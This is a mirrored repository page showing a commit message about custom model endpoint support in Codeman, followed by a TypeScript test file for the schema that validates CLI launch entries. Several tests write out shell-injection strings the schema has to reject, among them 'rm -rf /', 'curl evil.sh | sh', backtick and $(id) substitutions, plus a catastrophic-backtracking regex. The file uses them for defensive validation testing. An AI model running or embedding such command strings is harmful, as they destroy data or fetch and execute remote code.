mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
Custom Model Endpoint Profiles (#393) let a session point its CLI at a custom OpenAI-compatible endpoint by injecting env vars or a config file and restarting the CLI in place. Review of the apply path found four things, two of them destructive. This lands all four plus the smaller items from the same review. 1. Clearing a selection did not clear it. The injected vars reach the CLI via `tmux setenv`, which persists at the tmux-session level and is inherited by `respawn-pane` (measured: `setenv FOO bar` survived two successive `respawn-pane -k`), so deleting the keys from the session's envOverrides relaunched the CLI still pointed at the old endpoint, and for the configDir kinds at a HOME/CODEX_HOME/GROK_HOME that had just been deleted. `Session.setCustomModel()` now reports the removed keys, queues them (`_pendingEnvUnsets`), and `RespawnPaneOptions.unsetEnvKeys` carries them into `applyEnvOverrides()`, which `setenv -u`s them before re-applying the live overrides, on the same path that already unsets the legacy CLAUDE_CODE_EFFORT_LEVEL. Verified on a private tmux socket that `setenv -u HOME` hands the next respawn the global HOME back. 2. Applying a model to a local claude session killed the pane. The relaunch was `claude --session-id <id>` and Claude refuses an id that already has a transcript, and unlike the dead-pane respawn this one kills a working pane first. `restartCli()` now pins the live conversation id as the resume id for that respawn when the CLI's launch declares a `fallback` chain, which renders the same `--resume <id> || --session-id <id>` shape the docker and remote pane commands use. Gated on the registry shape, not the CLI id: an entry whose resume id is minted by the CLI itself never declares that chain. 3. pi, omp and grok wrote their config file and then launched without the `--model` that selects it, so the file was ignored. The registry entry now declares `customModelInjection.launchModel` (`custom/{modelId}` for pi and omp, grok's `[model.codeman-custom]` block name), the builder renders it, and `_withCustomModelLaunchModel()` applies it onto the respawn options through `legacyConfigField`, leaving the stored <Mode>Config untouched so a clear falls back to the user's own model. A model id the CLI's `model` token pattern cannot carry is refused with a 400 rather than silently dropped by the argv engine. 4. Remote (SSH) and Docker sessions reported `restarted: true` and changed nothing: their `restartCli()` reattaches the durable tmux rather than relaunching the agent, and the env lands on the local pane. Both are refused with a 400 until those paths are plumbed. Smaller items from the same review: - The selection survives a Codeman restart as the disk-only `__customModel` bookkeeping (endpoint, model, injected key NAMES, config dir, launch model; never the values, which carry the API key). Recovery re-derives the values from the endpoint store through the same apply path the route uses and keeps the bookkeeping even when the endpoint is gone, so a later clear still has keys to unset. - Discovery goes through `webviewFetch()`, so the RESOLVED address is judged by the same egress guard the web-tab proxy uses, and `baseUrl` reuses `webviewUrlSchema` (http(s) only, no embedded credentials, link-local and cloud-metadata addresses refused). undici's `fetch failed` wrapper is unwrapped so the user sees the ECONNREFUSED underneath. - `custom-model-hosts.json` is written 0600 via tmp+rename, the per-session config dir 0700/0600 (pi and omp embed the key literally), and that dir is removed with the session. - `PR.md` is gone from the repo root and the design doc moved to `docs/custom-model-endpoints-plan.md` with the LAN address and the personal name scrubbed; every reference follows. The guide's `authStyle` text matches the shipped schema (`bearer | api-key`, default `bearer`) and says that `customModelEndpointsEnabled` is read by nothing until the picker lands. - `config/tsconfig.scripts.json` typechecks `scripts/test-local-llm-harnesses.ts` (four real type errors fixed). It is not yet wired into `npm run typecheck` because that line differs on master; adding `&& tsc -p config/tsconfig.scripts.json` there is the one-line follow-up. Tests: `test/session-custom-model-restart.test.ts` drives a real Session and fails on the unfixed code for items 1 to 3; the route suite covers item 4 and the pattern refusal; `test/tmux-manager.test.ts` pins that the unsets run before the overrides and that a shell-metachar key never reaches tmux. Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
306 lines
14 KiB
TypeScript
306 lines
14 KiB
TypeScript
/**
|
|
* @fileoverview Validation rules for a `CliEntry`.
|
|
*
|
|
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
|
|
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
|
|
*
|
|
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
|
|
* misspelled field name degrades to "field absent → the permissive default applies",
|
|
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
|
|
* - **No shell text can reach the command line.** Every literal is checked against a
|
|
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
|
|
* than being dropped — a silently dropped flag would change security-relevant behaviour
|
|
* (losing `--no-approve` is not a cosmetic difference).
|
|
*
|
|
* Port: none (pure schema).
|
|
*/
|
|
|
|
import { describe, it, expect } from 'vitest';
|
|
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
|
|
import { compileVersionRegex } from '../src/config/cli-registry/patterns.js';
|
|
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
|
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
|
|
|
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
|
|
function baseEntry(id = 'pi'): Record<string, unknown> {
|
|
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
|
|
if (!found) throw new Error(`no stock entry ${id}`);
|
|
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
|
|
}
|
|
|
|
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
|
|
const entry = baseEntry();
|
|
mutate(entry);
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(result.success, `expected rejection: ${because}`).toBe(false);
|
|
}
|
|
|
|
describe('customModelInjection.launchModel', () => {
|
|
it('rejects a template with characters the argv engine would have to quote', () => {
|
|
expectRejected((e) => {
|
|
const caps = e.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId} --yolo' };
|
|
}, 'a space in the launch-model template');
|
|
expectRejected((e) => {
|
|
const caps = e.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: '' };
|
|
}, 'an empty launch-model template');
|
|
});
|
|
|
|
it('accepts the placeholder form the stock entries use', () => {
|
|
const entry = baseEntry();
|
|
const caps = entry.capabilities as Record<string, unknown>;
|
|
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId}' };
|
|
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('the shipped catalog', () => {
|
|
it('validates every stock entry exactly as shipped', () => {
|
|
// If this fails, the catalog cannot load at all — every other test here is downstream.
|
|
for (const entry of STOCK_CLIS) {
|
|
const result = CliEntrySchema.safeParse(entry);
|
|
expect(
|
|
result.success,
|
|
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
|
|
).toBe(true);
|
|
}
|
|
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
|
|
});
|
|
|
|
it('ships every entry with a unique id and order', () => {
|
|
const ids = STOCK_CLIS.map((e) => e.id as string);
|
|
expect(new Set(ids).size).toBe(ids.length);
|
|
const orders = STOCK_CLIS.map((e) => e.order);
|
|
expect(new Set(orders).size).toBe(orders.length);
|
|
});
|
|
});
|
|
|
|
describe('strictness', () => {
|
|
it('rejects an unknown key at the top level', () => {
|
|
expectRejected((e) => {
|
|
e.unknownField = true;
|
|
}, 'a typo must not degrade to a permissive default');
|
|
});
|
|
|
|
it('rejects an unknown key deep inside capabilities', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).newSwitch = true;
|
|
}, 'strictness has to hold at every depth, not just the top');
|
|
});
|
|
|
|
it('rejects an unknown key inside discovery', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).probeEverything = true;
|
|
}, 'strictness has to hold at every depth');
|
|
});
|
|
});
|
|
|
|
describe('workDetect.workingLine is guarded like every other config regex', () => {
|
|
it('rejects a nested quantifier', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '(a+)+b' };
|
|
}, 'this pattern is compiled once and then run against every accumulated PTY chunk, so catastrophic backtracking here freezes the event loop for the whole server');
|
|
});
|
|
|
|
it('rejects a source longer than compileVersionRegex() will compile', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: 'a'.repeat(201) };
|
|
}, 'the schema must not accept a pattern the runtime will then refuse to compile, or the CLI silently falls back to the Claude pattern');
|
|
});
|
|
|
|
it('rejects a pattern that is not a regex at all', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '([unclosed' };
|
|
}, 'a broken pattern must fail at LOAD time, not inside the PTY data handler');
|
|
});
|
|
|
|
it('accepts both shipped patterns unchanged', () => {
|
|
for (const entry of STOCK_CLIS) {
|
|
const src = entry.capabilities.workDetect?.workingLine;
|
|
if (!src) continue;
|
|
expect(compileVersionRegex(src), `${entry.id} declares a workingLine the guard refuses`).not.toBeNull();
|
|
}
|
|
});
|
|
});
|
|
|
|
describe('no shell text can reach the command line', () => {
|
|
it('rejects a literal carrying shell metacharacters', () => {
|
|
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
|
|
expectRejected(
|
|
(e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args[0] = { lit: evil };
|
|
},
|
|
`literal ${JSON.stringify(evil)} must be refused`
|
|
);
|
|
}
|
|
});
|
|
|
|
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
|
|
}, 'a fixed value is a literal too');
|
|
});
|
|
|
|
it('rejects a flag that does not look like a flag', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: 'rm -rf /' });
|
|
}, 'a flag must match -x / --long-flag');
|
|
});
|
|
|
|
it('rejects an overlay command that is more than bare words', () => {
|
|
expectRejected((e) => {
|
|
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
|
|
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
|
|
});
|
|
});
|
|
|
|
describe('cross-field integrity', () => {
|
|
it('rejects a valueFrom naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
|
|
}, 'a dangling valueFrom silently emits nothing');
|
|
});
|
|
|
|
it('rejects a capabilityGate naming an undeclared gate', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
|
|
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
|
|
}, 'an unknown gate never passes, so the flag would be silently unreachable');
|
|
});
|
|
|
|
it('rejects a fallback chain whose last variant is conditional', () => {
|
|
expectRejected((e) => {
|
|
const launch = e.launch as Record<string, unknown>;
|
|
launch.chain = 'fallback';
|
|
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
|
|
}, 'the terminal case of a fallback chain must be guaranteed to render');
|
|
});
|
|
|
|
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
|
|
expectRejected((e) => {
|
|
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
|
|
}, 'an alias for a param that does not exist can never apply');
|
|
});
|
|
|
|
it('rejects a configSetenv reading an undeclared param', () => {
|
|
// Losing this mapping for DeepSeek would silently drop a permission clamp.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
|
|
}, 'exporting from a param that does not exist would export nothing, silently');
|
|
});
|
|
|
|
it('rejects a privilegedParams clamp naming an undeclared param', () => {
|
|
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
|
|
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
|
|
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
|
|
}, 'clamping a param that does not exist would silently stop clamping');
|
|
});
|
|
|
|
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
|
|
// codex is the entry where the two names differ, so it is the one that catches a
|
|
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
|
|
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
|
|
// shipped entry must be on the param side of that line.
|
|
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
|
|
expect(codex).toBeDefined();
|
|
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals']);
|
|
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
|
|
|
|
const wrong = baseEntry('codex');
|
|
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
|
|
{ param: 'dangerouslyBypassApprovals', clampTo: false },
|
|
];
|
|
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
|
|
});
|
|
|
|
it('rejects a profile name this build does not implement', () => {
|
|
expectRejected((e) => {
|
|
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
|
|
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
|
|
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
|
|
});
|
|
});
|
|
|
|
describe('the env allowlist cannot be widened by config', () => {
|
|
it('requires a prefix to end with an underscore', () => {
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
|
|
}, 'a prefix without a trailing _ matches more namespaces than it names');
|
|
});
|
|
|
|
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
|
|
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
|
|
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
|
|
expectRejected((e) => {
|
|
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
|
|
}, 'a 2-char prefix is too broad for a global allowlist');
|
|
});
|
|
|
|
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
|
|
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
|
|
});
|
|
});
|
|
|
|
describe('identity', () => {
|
|
it('rejects an id that is not a lowercase kebab token', () => {
|
|
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
|
|
const entry = baseEntry();
|
|
entry.id = bad;
|
|
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
|
|
}
|
|
});
|
|
|
|
it('rejects an accent that is not a 6-digit hex colour', () => {
|
|
expectRejected((e) => {
|
|
e.accent = 'red';
|
|
}, 'the accent is interpolated into CSS');
|
|
});
|
|
|
|
it('accepts a well-formed custom entry built from a stock one', () => {
|
|
const entry = baseEntry();
|
|
entry.id = 'my-cli';
|
|
entry.label = 'My CLI';
|
|
entry.stock = false;
|
|
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
|
|
});
|
|
});
|
|
|
|
describe('capability shapes', () => {
|
|
it('accepts only the three hook states', () => {
|
|
for (const value of ['none', 'always', 'supervised']) {
|
|
const entry = baseEntry();
|
|
(entry.capabilities as Record<string, unknown>).hooks = value;
|
|
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
|
|
}
|
|
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
|
|
// 'always', which is wrong for a supervised CLI.
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).hooks = true;
|
|
}, 'hooks is a tri-state, not a boolean');
|
|
});
|
|
|
|
it('accepts only known transcript readers', () => {
|
|
const entry = baseEntry() as unknown as CliEntry;
|
|
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
|
|
const candidate = baseEntry();
|
|
(candidate.capabilities as Record<string, unknown>).transcript = value;
|
|
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
|
|
}
|
|
expect(entry.capabilities.transcript).toBeDefined();
|
|
expectRejected((e) => {
|
|
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
|
|
}, 'a transcript reader that does not exist would silently read nothing');
|
|
});
|
|
});
|